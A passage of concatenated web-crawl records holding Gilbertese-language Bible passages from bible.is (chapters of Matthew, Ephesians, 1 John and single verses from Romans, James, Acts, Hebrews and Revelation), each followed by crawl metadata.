kamaiuaki. 14Ao ane e na tataekinaki euangkerion uean te Atua i aonnaba ni kabutaa, bwa a aonga n reke aia tai ni butimwaaia aomata nako; ao ngkanne ai tibwa ana tai te toki are e na roko iai. 15Ma ngaia aei, ngkana kam noora te Baere e Kaka maaku are e taekinna Taniera are te buraabeti, bwa e tei n te tabo are e tabu n te umwantabu (ke e ataia te tia wareware), 16ao akana a mena i Iutaia ke a biri nako ni maunga; 17Ane e mena i aon taubukin ana auti ao e na aki ruo n anaa ana bwai are e mena i nanon te auti; 18ao ane e mena n abana e na aki oki n anaa ana kabaraaki. 19Ao ai kaawa ra ake iai natiia aika a uarereke, ao ake a kammammai natiia ni boong akanne! 20Kam na tataro bwa kam na aki biri nako n tain te mwaitoro ke te taabati. 21Bwa n te tai anne ao e na iai te rawaawata ae bati ae akea n ai arona ma ngke e moa n riki aonnaba ni karokoa ngkai; bon akea n ai arona, ao a na bon akea naba nakoni boong aika rimwi. 22Ao ngke arona bwa a aki kakimototoaki boong akanne, ao bon akea te aomata ae e na maiu; ma a kakimototoaki i bukiia ana aomata te Atua ake E a tia n rineiia. 23Ao ngkana tao e kaangai temanna nakoimi, Noria, kai aei te Kristo! Ke, Kai arei! Ao tai ira nanona. 24Bwa ane a na kaoti taiani Kristo ni kewe ma buraabeti ni kewe, ao ane a na kaoti kanikina aika a abwaabwaki ma bwaai ni kamiimii, bwa a na burebureiia ana aomata te Atua ake E a tia n rineiia, ngkana a konaiia. 25Noria, I a tia n tuangkami ngkai a tuai n roko. 26Ma ngaia aei, ngkana a kaangai nakoimi, Noria, E mena n te rereua, ao kam na aki nako iai; ao ngkana a kaangai, Noria, E mena i nanon ruu, ao tai kakoauai aia taeka. 27Bwa aron te iti ngkana e iti mai mainiku, ma n oota ni wairio, ao ai aron naba rokon Natin te Aomata. 28Ike e mena iai te rabwata ae e mate, ao a na ikotaki naba iai taian ikare. 29I mwiin naba te rawaawata ni boong akanne, ao e na karooaki ootan taai, ao a na akea ootana; ao namwakaina e na aki oota, ao ane a na bwaka itoi mai karawa, ao mwaaka ake a mena i karawa a na bitaki man aroaroiia; 30ao ngkanne ane e na kaoti kanikinaaean Natin te Aomata i karawa, ao ane a na bane n tang kaain aonnaba, ao a na noora Natin te Aomata bwa E nako mai i aon nangini karawa ma te mwaaka ao te mimitong ae e bati; 31ao ane E na kanakoia ana anera n tangin te buu ae e tangi mwaaka, ao a na bootiia ana aomata te Atua ake E a tia n rineiia man taabo nako i aonnaba. 32Kam na karekea reireiami man te kai ae te biiku. N te tai naba are e ubuubu iai mwaangana ao a kaoti baana, ao kam na ataia iai bwa e a kaan taini bongin te kabuebue. 33Ao ai aromi naba bwa ngkana kam noori baikai ao kam na ataia iai bwa E a kaan, E a tauraoi n roko. 34E koaua ae I a tuangkami bwa a na bane n riki baikai i mwaaini mateia aomata nako aika a maiu ngkai. 35A na mauna karawa ma aonnaba, ma a na aki konaa ni mauna au taeka. 36Ma akea ae e ataa rokon te bong arei, ma te aoa arei, ao a aki ataia naba anerani karawa; ao E aki ataia te Nati, ma ti te Tama ae E ataia. 37Ao ai aron ana bongi Nooa rokon Natin te Aomata: 38bwa ni boong ake i mwaain te ieka ngke a amwaamwarake aomata ma ni momooi, ma n iein ni karokoa te bong are e rin iai Nooa n te kaibuke, 39ao akea te bae a ataia ni karokoa e roko te ieka ao e uotiia nako ni kabaneia; ao ai arona naba ngkana E roko Natin te Aomata. 40Ao ane a na mena uoman te mwaane n te aba ae e unikaki: e na uotaki nako temanna, ao e na katukaki temanna. 41Ane a na tabe uoman te aine ni kamantinta te buraawa n te atiibu: e na uotaki nako temanna, ao e na katukaki temanna. 42Ma ngaia ae kam na kamarurungingkami n tantani, bwa kam aki ataa te bong are E na roko iai te Uea. 43Ma kam na ataa aei, bwa ngke arona bwa teuare ana auti te auti e a kaman ataia bwa n ningai te tai are e na roko iai te tia ira, ao e na bon tantani, ao e na aki angan te tia iraa ana tai ni karekea kawaina n urua te auti bwa e na rin iai. 44Ma ngaia ae kam riai naba ni bwaina te tauraoi; bwa ae E na roko Natin te Aomata n te aoa are kam aki kaantaningaia iai. 45Antai ngkanne te toro ae e kakaonimaki ae e wanawana, ae e kateaki iroun ana toka bwa e na teiakiniia kaain ana auti te toka anne n angaanganiia kanaia n aia tai? 46E a kabwaia te toro ae e nooria ana toka ngkana e okira mwengana bwa e tabe n ana mwakuri! 47E koaua ae I a tuangkami bwa ane e na karika te toro arei bwa mataniwiin ana bwai nako. 48Ma ngkana te toro ae e buaakaka ngaia, ao ane e na kaangai i nanona, E waeremwe n roko au toka; 49ao e moana batiboaia raona nako n toro, ao e amwarake ma ni mooi ma ake a roko ni manging. 50Ane e na roko ana toka te toro arei n te bong are e aki kaantaningaia te toro, ao n te aoa ae e aki ataia, 51ao e na kataerea ni karawaawataa, ao e na kaaki i rarikiia taani mwaamwanaa-te-aba, n te tabo ike a na tang iai aomata ma n tenai riaia bwa kaotan ae a rootaki n te maraki ae e korakora.\nMATAIO 24","id":"","dump":"CC-MAIN-2014-15","url":"http:\/\/www.bible.is\/GILBSP\/Matt\/24","date":"2014-04-20T05:51:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-15\/segments\/1397609538022.19\/warc\/CC-MAIN-20140416005218-00134-ip-10-147-4-33.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1366,"character_repetition_ratio":0.052,"word_repetition_ratio":0.007,"special_characters_ratio":0.246,"stopwords_ratio":0.483,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"13Ma I tangiringkami, tariu, bwa kam na ataia bwa e mwaiti au tai ae I a tia ni baaireia bwa N na nakoimi iai, ma iai te bwai ae e aki toki n toototokoa mwanangau ni karokoa naba te tai aei. I kan rairiia naba temwaangina i buakomi nakon te Uea, n ai aroia ake a tia n rairaki irou i buakoia bootanaomata ake tiaki I-Iutaia.\nROM 1:13\nFREE!\nOne App.\n859 Languages.","id":"","dump":"CC-MAIN-2014-15","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/1\/13","date":"2014-04-18T06:42:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-15\/segments\/1397609532573.41\/warc\/CC-MAIN-20140416005212-00254-ip-10-147-4-33.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":71,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.251,"stopwords_ratio":0.423,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"IAKOBO 2:2323ao e kakoauaaki taekan te Baibara are e kaangai, Ao e onimakina te Atua Aberaam, ao e atongaki aei bwa ngaia ae e reke iai reitakina ma te Atua; ao e aranaki bwa raraon te Atua. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2014-15","url":"http:\/\/www.bible.is\/GILBSP\/Jas\/2\/23","date":"2014-04-18T23:28:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-15\/segments\/1397609535535.6\/warc\/CC-MAIN-20140416005215-00000-ip-10-147-4-33.ec2.internal.warc.gz","language":"gil","language_score":0.9999650717,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"gil_Latn_score\": 0.9999650716781616}","num_words":52,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.385,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao ngkami kam mate ibukin riaoakin te tua iroumi ao ibukin ami bure, 2ake kam nakonako iai ngkoa ngke kam toua kawain aon te aba ae e buaakaka aei, ao ngke kam ira nanon te uea are e tau-taeka i aoia taamnei aika a buaakaka ake i aani karawa, ake taamnei ake a mwamwakuri ngkai i nanoia aomata aika a aki-ongeaaba; 3ake boni ngaira naba ngkoa i buakoia ngke ti bane ni kaoti arora ni maiura bwa ti iri nanoni kaibwabwarun rabwatara ma nanora; bon aomata ngaira aika e mena i aora unin te Atua, ao ti te bo arora ma aomata ni kabaneia. 4Ma e rangi ni korakora nanon te Atua n nanoanga ibukin ana tangira ae e bati are E tangiriira iai; 5bwa ngke ti mate ibukin arora n ririaoakin te tua, ao E kamaiuira Kristo—bwa kam kamaiuaki n te aakoi 6ao ngkai ti katiteuanaaki ma Kristo Iesu, ao E a manga kamaiuira ma Ngaia man te mate ao E katekatekaira ma Ngaia i karawa, 7bwa E aonga ni kaotia nakoia rooro ma rooro aika a na roko aron ana aakoi ae akea n ai arona ni kaubwaina, n ana atataiaomata nakoira, irouni Kristo Iesu. 8Bwa kam kamaiuaki n te aakoi ibukin te onimaki; ao tiaki mai iroumi ae e reke iai aei, ma bon ana bwai n tituaraoi te Atua; 9kam aki kamaiuaki n ami mwakuri, bwa e kaawa ni kamoamoaa temanna. 10Bwa kanoan ana mwakuri ngaira, aika ti karikaki i nanoni Kristo Iesu ibukini mwakuri aika a raraoi, ake E a kamani katauraoi bwa ti na karaoi. 11Ma ngaia ae kam na ururingnga, bwa tiaki I-Iutaia ngkami ngkoa n rikimi, aika kam atongaki bwa te Aki-koroberoaki irouia ake a atongaki bwa te Koroberoaki n aroia ngke a koroberoaki ni baiia aomata; 12ao kam tuai n reitaki ma Kristo ngkekei, ngke kam ianena nakoia te bootanaomata ae Iteraera, ao akea nnnemi n taiani booraraoi ake kanoan te taeka n akoi, akea ami kaantaninga ao kam aki reitaki ma te Atua ni maiumi i aon te aba aei. 13Ma ngkai kam a katiteuanaaki ma Kristo Iesu, ngkami ake kam raroa nako ngkoa ma te Atua, kam a riki ni kaan n raraani Kristo. 14Bwa Kristo boni Ngaia ara raoi, bwa E karikiia I-Iutaia ma aomata aika tiaki I-Iutaia bwa te bootanaomata ae ti teuana; ao ni matena i aon te kaibangaki E urua te riribai are e tei bwa kaanga te roki i marenaia. 15E kamauna te Tua are kanoana taeka ibukini baika a riai ni karaoaki ao n aki karaoaki irouia aomata, bwa e aonga ni karikiia bootanaomata aika uoua bwa kaanga te aomata ae ti temanna ae e boou n arona ni kaatiteuanaki ma Ngaia; ao n te aro aei e a reke iai te raoi. 16E raoiakiniia bootanaomata aika uoua nakon te Atua ni matena n te kaibangaki, ao a riki bwa te rabwata ae ti teuana, ao E urua aroia n riribai. 17Ma ngaia are E roko Kristo ao E tataekina te raoi nakoimi aika kam raroa nako ngkoa ma te Atua, ao nakoia naba aika a kaani ma Ngaia. 18I bukin te baere E karaoia Kristo, ao ngaira aika I-Iutaia ma aika tiaki I-Iutaia ti a konaa n roko i matan te Atua iroun te Taamnei ae ti temanna. 19Ma ngaia ae tiaki aomata aika ianena ngkami ngkai, ao tiaki naba aomata aika kam maeka n iruwa; ma aomata ngkami aika kam a riki bwa kaanga kaain te aba ni koaua, n raoniia ake a itiaki, ao kam a riki naba bwa kaain ana utu te Atua. 20Kam kateaki i aon taiani boua ake taan tuatua ma buraabeti; ao Kristo Iesu boni Ngaia te atiibu are bouan te maninganinga are moan te kakannato; 21bwa Ngaia ae e tei ni bwanin rabwatan te auti irouna, ao E reireitia nako ni karokoa ae e riki bwa te umwantabu ae tabu ibukin te Uea. 22Ni katiiteuanaakimi ma Ngaia ao kam a kateaki naba ma raomi nako n onimaki bwa ana auti te Atua ae e na mamaeka iai iroun Taamneina.\nEBETO 2","id":"","dump":"CC-MAIN-2014-15","url":"http:\/\/www.bible.is\/GILBSP\/Eph\/2","date":"2014-04-19T09:49:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-15\/segments\/1397609537097.26\/warc\/CC-MAIN-20140416005217-00505-ip-10-147-4-33.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":675,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.222,"stopwords_ratio":0.431,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"MWAKURI 27:1515E bo te kaibuke iai ao e a aki konaa ni buti ni kaaitaraa te ang. Ngke aakea te bae ti konaa ni karaoia, ao e a uotaki nako te kaibuke n te ang. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2014-15","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/27\/15","date":"2014-04-16T07:35:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-15\/segments\/1397609521558.37\/warc\/CC-MAIN-20140416005201-00311-ip-10-147-4-33.ec2.internal.warc.gz","language":"gil","language_score":0.999968648,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 0.9999686479568481}","num_words":50,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.262,"stopwords_ratio":0.38,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"7Ti ieie ni karaurau i nanoni boong aika a bati, ma ni kuri n aki roko ni kaani ma te kaawa ae Keniro, ibukina bwa e tukiira te ang; ma ngaia are ti a borau ngkanne ri rarikini Kirete n iterana are e aki kare maiai te ang, n ri rarikin te keekee are Taremone;\nMWAKURI 27:7\nFREE!\nOne App.\n859 Languages.","id":"","dump":"CC-MAIN-2014-15","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/27\/7","date":"2014-04-18T00:35:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-15\/segments\/1397609532374.24\/warc\/CC-MAIN-20140416005212-00084-ip-10-147-4-33.ec2.internal.warc.gz","language":"gil","language_score":1.0000094175,"language_script":"Latn","minhash_cluster_size":25,"top_langs":"{\"gil_Latn_score\": 1.0000094175338745}","num_words":60,"character_repetition_ratio":0.014,"word_repetition_ratio":0.0,"special_characters_ratio":0.255,"stopwords_ratio":0.467,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1N te bongi naba arei, ao E nako Iesu man te auti, ao E tekateka i rarikin te nama. 2Ao a bootaki aomata aika a mwaiti i rarikina, ma ngaia are E toka n te booti ao E tekateka iai, ao a tei aomata n ua kaan ma mataniwiin te nama. 3Ao E atongi baika a bati nakoia n taeka ni kabootau, ao E kaangai, Noria, e oti nako te tia unuuniki ni kamaae koraa n uniki. 4Ao ngke e kamaae, ao a bwaka tabeua ri rarikin te kawai, ao a roko mannikiba ni kang. 5A bwaka tabeua i aon ae e riribwaa, ike e aki bati te tano iai, ao a kai riki bwa e mani te tano; 6ma ngke e kaboo rake taai, ao a urarake; a mate ibukina ngke a aki roro nako wakaaiia. 7Iai koraa ake a bwaka i buakoni kaai aika kateketeke; a rikirake kaai aika kateketeke, ao a karibwai aroka ake a unikaki. 8A bwaka tabeua koraa i aon te tano ae e raoiroi, ao a riki bwa aroka aika uaa: tabekai tatabebubua uaaia, ao tabekai kaka onobwi, ao tabekai kaka tenibwi. 9Ane iai taningana, ao ke e ongo. 10A roko ngkanne ana reirei Iesu, ao a taku nakoina, E aera ngkai Ko taetae nakoia n taeka ni kabootau? 11Ao E kaekaia ni kaangai, Kam a tia n anganaki baika a raba aika bwain uean te Atua; ma ngaiia, a tuai n anganaki. 12Bwa ane iai irouna te atatai ni baika a raba aika bwain uean te Atua, ao e na anganaki riki, ao e na reke irouna ni bati; ma ane akea irouna ao e na anaaki mai irouna are iai, e aoria ngkana e rangi n uarereke. 13Aei bukin ae I taetae iai nakoia n taeka ni kabootau: bwa a taratara ma a aki nooraaba; ao a bon ongo ma a aki ongo, ao a aki ataia. 14E a kakoroaki irouia nanon ana taeka Itaia, are e kaangai: Ane kam na ongoraa ma n ongoraa, ma kam na aki atatai, ao kam na taratara ma n taratara, ma kam na aki nooraaba. 15Bwa e a reke irouia aomata aikai te roo n nano, ao a rawa taningaia ni kan ongo, ao a kamatakiiaki mataia: bwa a kaawa n nooraaba ni mataia, ao n ongoraa n taningaia, ao n atatai n nanoia, ao n rairaki bwa N na kamaiuiia. 16Ma a a kabwaia matami bwa a nooraaba; ao taningami bwa a ongo. 17E koaua ae I a tuangkami bwa a bati buraabeti ma aomata aika a raoiroi, ake a kan noori baika kam noori ao a aki noori; ao a kan ongo baika kam ongo, ao a aki ongo. 18Kam na ongoraa ngkanne ni kabwarabwaraan nanon te rongorongo ni kabootau are taekan te tia unuuniki. 19Ngkana e ongo taekan uean te Atua te aomata ao e aki ataa nanona, ao e roko iai teuare e buaakaka n anaa are e a tia n unikaki i nanona; aei te koraa are e unikaki ri rarikin te kawai. 20Ao are e unikaki i aon te riribwaa bon ane e ongo ana taeka te Atua ao e butimwaaia naba ma te kukurei; 21ma akea wakaana i nanona, ao e aki tiku ni maan; ao ngkana e roko te kaangaanga ke te bwainikiriinaki ibukin ana taeka te Atua, ao e a bwaka naba. 22Ao are e unikaki i buakoni kaai aika a kateketeke bon ane e ongo ana taeka te Atua; ma iango n raraoma nako ibukini bwain te maiu aei ma mataaiakinani kaubwaina a karibwaa te taeka, ao e aki kariki uaa. 23Ao are e unikaki n te tano are e raoiroi bon ane e ongo ana taeka te Atua ao e ataa nanona; ao e kaoti uaana bwa tatabebubua ke kaka onobwi ke kaka tenibwi. 24E a manga tuangiia te rongorongo ni kabootau teuana, ao E kaangai, Uean te Atua e konaa ni kabootauaki ma te aomata are e uniki koraa n uiita aika a raraoi i abana; 25ma ngke a matuu aomata, ao e roko ana kairiribai ao e uniki koraan titaania i buakoni koraa n uiita, ao e nako. 26Ma ngaia are ngke a rikirake aroka ao a uaa, ao a tibwa kinaaki iai ngkanne titaania i buakoia. 27Ao a roko ana toro teuare e unuuniki, ao a taku nakoina, Te toka, tiaki ko uniki koraa ake a raraoi? Ao a roko maia titaania? 28Ao e taku nako ia, E a tia ni karaoa aei te tia kairiribai. A taku tooro nakoina, Ko tangiriira bwa ti na nako n taeki? 29Ao ngaia e taku, I aki; bwa a kaawa ni koutaki nako uiita ngkana kam taeki titaania. 30Katikuia bwa a na uaia n rikirake ni karokoa tain te tai; ao ni bongin te tai, ao I a tuangiia taan rikoriko ni kaangai, Booti moa titaania, ao kabaei ni bwabwati bwa a na kabuokaki; ma ikoti uiita nakoni nnen au amwarake. 31E a manga tuangiia te rongorongo ni kabootau teuana, ao E kaangai, Uean te Atua ai aron uaan te mwaakeke, are e anaia te aomata ao e unikia i abana; 32bon te kabanea n uarereke i buakon uaa nako, ma ngkana e a ikawai ao e riki bwa te aroka ae moan te buubura i buakon aroka nako. E a riki bwa te kai are a roko iai mannikiba ni karaoi ngaoia i aoni mwaangana. 33E a manga tuangiia te rongorongo ni kabootau teuana, ao E kaangai, Uean te Atua ai aron te iiti, are e anaia te aine ao e renganna ma te buraawa ae tao nimabwi te bwauna rawaawatana, ao e kabanea ni karikirakea te buraawa. 34E atongi baikai ni kabane Iesu nakoia aomata n taeka ni kabootau: bwa E tatangiria ni kani kakamanenaa te taeka ni kabootau ngkana E reireiniia aomata; 35bwa e na kakoroaki bukin are e atongaki iroun te buraabeti, ngke e kaangai: Na kaboonganai taeka ni kabootau ngkana I taetae;na taekini baika a karabaaki mani moani karikan aonnaba. 36E kiitaniia aomata Iesu, ao E nako n rin n te auti. Ao a roko ana reirei irouna, ao a taku, Ko na kaota nakoira nanon te rongorongo ni kabootau are taekaia titaania ake ni nen uiita. 37Ao E kaekaia ni kaangai, Teuare e uniki uaa aika a raraoi bon Natin te Aomata; 38nnen aroka bon te aonnaba; ao uaa ake a raraoi bon aomata aika kaain uean te Atua; titaania bon te koraki ake ana aomata teuare e buaakaka, 39ao te kairiribai are e uniki titaania bon te riaaboro; bongin te tai bon tokin aonnaba, ao taan tai bon anera. 40Ao aron titaania, ngkai a bootaki ni kabuokaki n te ai, ao ai aroia naba te koraki ake ana aomata teuare e buaakaka: a na bootaki ao a na kabuokaki n te ai n tokin aonnaba. 41Ane E na kanakoia ana anera Natin te Aomata, ao a na bootiia mai buakoia kaain ueana te koraki ake a riki bwa taani kabwakabwaka nakoia aomata, ao koraki ni kabane ake a kaakaraoa ae e buaakaka; 42ao ane a na teweia nako nakoni nnen te ai, ike a na tang ao a na tenai riaia iai bwa kaotan ae a rootaki n te maraki ae e korakora. 43Ao ane a na raneanea akana a raoiroi n ai aron taai n uean Tamaia. Ane iai taningana, ao ke e ongo. 44Uean te Atua ai aron te bwai ae e kakaawaki are e karabaaki n te tabo teuana, ao te bwai are e kunea te aomata temanna ao e karabaa; i nanoni kukureina ao e nako ni kaboo nako ana bwai ni kabane, ao e kabooa te aba are e karabaaki iai te baerei. 45Ao aio riki: uean te Atua ai aron te tia boobwai are e ukoukori moomii aika a raraoi; 46ngke e kunea te moomii teuana ae e bati boona, ao e nako ni kaboo nako ana bwai ni kabane, ao e kabooa te moomii ni booia. 47Ao manga aio: uean te Atua ai aron te karaun are e kabwakaaki i nanon te nama, ao a reke iai iika n aekaia nako; 48ao ngke e on, ao a katikia rake aomata ao a tekateka ni kaokoroi iika ake a raraoi ni kaaki i nanoni bwaene, ao a tetewe nako ake a bubuaka. 49Ao ai arona naba n tokin aonnaba. Ane a na roko anera ao a na kaokoroia akana a buaakaka ma akana a raoiroi, 50ao a na teweia nako ni nnen te ai, ike a na tang ao a tenai riaia iai bwa kaotan ae a rootaki n te maraki ae e korakora. 51Kam atai nanoni bai kai ni kabane? A taku nakoina, Eng. 52Ao E taku nako ia, Ma ngaia aei, bwa te tia koroboki ae e reireiaki bwain uean te Atua, ai aron te aomata ae iai ana auti, ao te aomata arei e kaotinakoi bwaai aika a boou ma bwaai nikawai mani nnen ana bwai. 53Ao Iesu, ngke E a tia n atongi taeka ni kabootau aikai, ao E kiitana ikekei. 54Ao ngke E roko n ana kaawa, ao E reireiia aomata i nanoni mwaneabaia, ao a miimii aomata ake a ongoraa irouna ao a taku, E reke maia iroun Teuaei te rabakau aei ma te konaa ni karaoi mwakuri aika a kamiimii aikai? 55Tiaki natin te kaabenta Teuaei? Tiaki aran tinana Nei Maria? Ao tiaki tarina Iakobo, ma Iotebwa, ma Timon, ma Iuta? 56Ao tiaki mwaanena aika a raora ni maeka? A reke maia ngkanne iroun Teuaei baikai ni kabane? 57Ao a ribaia. Ma E taku Iesu nako ia, Iai karinean te buraabeti n taabo nako, ma akea i abana, ao i nanoni mwengana. 58Ao E aki kabatiai ni karaoi mwakuri aika a kamiimii iai ibukina ngke a aki onimakinna.\nMATAIO 13","id":"","dump":"CC-MAIN-2014-15","url":"http:\/\/www.bible.is\/GILBSP\/Matt\/13","date":"2014-04-16T22:18:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-15\/segments\/1397609525991.2\/warc\/CC-MAIN-20140416005205-00102-ip-10-147-4-33.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1615,"character_repetition_ratio":0.056,"word_repetition_ratio":0.027,"special_characters_ratio":0.24,"stopwords_ratio":0.457,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"11Ma E a tia n roko Kristo bwa te Ibonga ae e Kakannato ibukini baika a raraoi aika a kamani mena ikai, ao E nako n ri nuukan te umwanrianna ae e kakannato riki ma n raoiroi riki, ae e aki karaoaki ni bain te aomata, ao tiaki bwain aon te aba;\nEBERA 9:11\nFREE!\nOne App.\n859 Languages.","id":"","dump":"CC-MAIN-2014-15","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/9\/11","date":"2014-04-18T03:57:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-15\/segments\/1397609532480.36\/warc\/CC-MAIN-20140416005212-00503-ip-10-147-4-33.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":57,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.261,"stopwords_ratio":0.456,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"13ao i nuuka i buakoni kain-tei n taura aikai iai temanna ae ai aron taraan natin te aomata ae e kunnikaia n te kunnikai ae e toki mwarairaina i aon raurauni waena, ao e kabaeaki bwaabwaana n te bwai ni kabaebae ae te koora.\nTE KAOTIOTI 1:13\nFREE!\nOne App.\n859 Languages.","id":"","dump":"CC-MAIN-2014-15","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/1\/13","date":"2014-04-18T23:22:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-15\/segments\/1397609535535.6\/warc\/CC-MAIN-20140416005215-00195-ip-10-147-4-33.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":50,"character_repetition_ratio":0.008,"word_repetition_ratio":0.0,"special_characters_ratio":0.244,"stopwords_ratio":0.44,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Aomata nako aika a kakoauaa bwa Iesu bon te Kristo a bungiaki mai iroun te Atua; ao aomata nako aika a tangira Teuare e karikiia, ao a tangira naba Teuare e a bungiaki mai irouna. 2Ti ataira bwa ti tangiriia natin te Atua, n aei, ngkana ti tangira te Atua, ma n tauu ana tua. 3Bwa bon tangiran te Atua te baei, ae tauan ana tua iroura; ao a aki kaangaanga aroia n tauuaki. 4Bwa ane e bungiaki mai iroun te Atua ao e konaa ni kataea ana kai te aba: ara onimaki boni ngaia ae e anganiira te tokanikai i aona. 5Ao antai ae e kataea ana kai te aba, tiaki ane e kakoauaa bwa bon Natin te Atua Iesu? 6Boni Ngaia Teuare e nako mai n te raraa ma te ran, are Iesu Kristo. E nako mai, tiaki ti n te ran; ma n te ran ao n te raraa. Ao te Taamnei boni Ngaia te tia kaotiota koauan te baei; bwa te Taamnei bon te koaua. 7Bwa teniua taani kaotioti. 8Bwa te Taamnei, te ran ao te raraa; ao a booraoi n aia kaotioti. 9Ngkana ti kakoauaa aia kaotioti aomata, ao ti na boni kakoauaa ana kaotioti te Atua, bwa e kakannato riki. Bwa aio ana kaotioti te Atua: bwa E boni kaotioti ibukin Natina. 10Ane e onimakina Natin te Atua ao e kaawakini baike E a tia n taekin te Atua bwa a koaua. Ane e aki ira nanon ana taeka te Atua ao e riki ngaia bwa te tia kewe, bwa kioina ngke e aki kakoauaa ana kaotioti te Atua are E taekinna ibukin Natina. 11Ao aio te kaotioti: bwa E anganiira te Atua te maiu are e aki toki, ao e mena te maiu aei i nanon Natina. 12Ane iai te Nati irouna, ao iai naba te maiu arei irouna; ane akea Natin te Atua irouna; ao akea naba te maiu arei irouna. 13I koroi baikai nakoimi, bwa kam aonga n ataia bwa bon iai iroumi te maiu are e aki toki, ngkami akana kam onimakina aran Natin te Atua. 14Ao aio kakoauaana iroura, bwa ngkana ti tataro ni butiia te bwai teuana n ai aron nanona, ao E bon ongo iroura. 15Ao ngkai ti ataia bwa E ongo iroura n te bwai nako ae ti buubuti iai, ao ti ataia bwa a a tia n reke iroura baike ti bubutiia iai. 16Ngkana e noora tarina te aomata bwa e karaoa te bure ae e na aki mate iai, ao e na tataro ibukina, ao te Atua E na angan teuare e bure te maiu. E a kaeti aei nakoia ake a bure n te bure ae a na aki mate iai. Bon iai te bure ae e mate te aba iai: I aki taku bwa e na tataro ibukin aei. 17Te karaoi mwakuri ni kabane aika a buaakaka bon te bure; ao bon iai te bure ae e aki mate te aba iai. 18Ti ataia bwa ane e bungiaki mai iroun te Atua e aki bure; ma Teuare e bungiaki mai iroun te Atua E kaawakinna, ao akea te kabuanibwai ae e na riki nakoina mai iroun teuare e buaakaka. 19Ti ataira bwa mai iroun te Atua ngaira, ao aomata aika aomatan te aonnaba ae e buubure a mena i aani mwaakan teuare e buaakaka. 20Ao ti ataa Natin te Atua bwa E a roko, ao E anganiira te atatai, bwa ti na ataa Teuare e koaua; ao ti nim ma Teuare e koaua, ti reitaki ma Natina are Iesu Kristo. Bon aei te Atua ni koaua, ao te maiu are e aki toki. 21Ataei aika kam uarereke, kam na kaawakiningkami n taua raroami mani bouananti.\n1 IOANE 5","id":"","dump":"CC-MAIN-2014-15","url":"http:\/\/www.bible.is\/GILBSP\/1John\/5","date":"2014-04-17T07:54:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-15\/segments\/1397609526311.33\/warc\/CC-MAIN-20140416005206-00435-ip-10-147-4-33.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":614,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.244,"stopwords_ratio":0.471,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngke e a tibwa ingabong, ao a kaboowi naba ibonga ake a kakannato, ma unimwaane, ma taani koroboki, ma kaain te Tanirim ni kabanea; ao a kabaea Iesu, ao a kairia nako, ao a angani Birato. 2Ao e titirakinna Birato ni kaangai, Aia King I-Iutaia Ngkoe? Ao E kaeka Iesu 